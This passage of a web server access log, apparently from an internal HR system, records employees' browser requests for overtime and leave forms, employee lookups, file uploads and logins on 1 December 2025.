/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:59:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.125 - - [01/Dec/2025:08:59:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.125 - - [01/Dec/2025:08:59:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.133 - - [01/Dec/2025:08:59:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.125 - - [01/Dec/2025:09:00:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46315569727125616 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:00:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46315569727125616 HTTP/1.1" 200 10228 192.168.11.125 - - [01/Dec/2025:09:00:26 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46315569727125616 HTTP/1.1" 200 12402 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46315569727125616" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:00:26 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46315569727125616 HTTP/1.1" 200 12402 192.168.11.125 - - [01/Dec/2025:09:00:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:00:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 192.168.11.125 - - [01/Dec/2025:09:00:34 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:00:34 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.125 - - [01/Dec/2025:09:00:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:00:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [01/Dec/2025:09:00:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:00:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.125 - - [01/Dec/2025:09:01:09 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39731245171603946 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:01:09 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39731245171603946 HTTP/1.1" 200 10228 192.168.11.125 - - [01/Dec/2025:09:01:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39731245171603946 HTTP/1.1" 200 12411 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39731245171603946" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:01:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39731245171603946 HTTP/1.1" 200 12411 192.168.11.125 - - [01/Dec/2025:09:01:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:01:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 192.168.11.70 - - [01/Dec/2025:09:01:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:01:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.125 - - [01/Dec/2025:09:02:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:02:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [01/Dec/2025:09:02:13 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.11585331339332927 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:02:13 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.11585331339332927 HTTP/1.1" 200 5264 192.168.11.70 - - [01/Dec/2025:09:02:22 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.11585331339332927 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.11585331339332927" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:02:22 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.11585331339332927 HTTP/1.1" 302 - 192.168.11.70 - - [01/Dec/2025:09:02:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5192 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.11585331339332927" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:02:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5192 192.168.11.125 - - [01/Dec/2025:09:02:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7118078674763043 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:02:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7118078674763043 HTTP/1.1" 200 10228 192.168.11.70 - - [01/Dec/2025:09:02:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4769 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:02:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4769 192.168.11.125 - - [01/Dec/2025:09:02:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7118078674763043 HTTP/1.1" 200 12411 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7118078674763043" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:02:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7118078674763043 HTTP/1.1" 200 12411 192.168.11.70 - - [01/Dec/2025:09:02:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:02:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:09:02:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:02:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.125 - - [01/Dec/2025:09:02:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:02:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 192.168.40.34 - - [01/Dec/2025:09:02:54 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:02:54 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [01/Dec/2025:09:02:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:02:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.70 - - [01/Dec/2025:09:02:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:02:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.40.34 - - [01/Dec/2025:09:02:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:02:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [01/Dec/2025:09:02:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:02:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 192.168.11.70 - - [01/Dec/2025:09:03:10 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4464807936189017 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:03:10 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4464807936189017 HTTP/1.1" 200 5264 192.168.11.70 - - [01/Dec/2025:09:03:16 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4464807936189017 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4464807936189017" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:03:16 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4464807936189017 HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:03:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 25095 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 25095 192.168.11.70 - - [01/Dec/2025:09:03:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 12983 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4464807936189017" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:03:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 12983 192.168.11.70 - - [01/Dec/2025:09:03:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:03:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.70 - - [01/Dec/2025:09:03:24 +0800] "GET 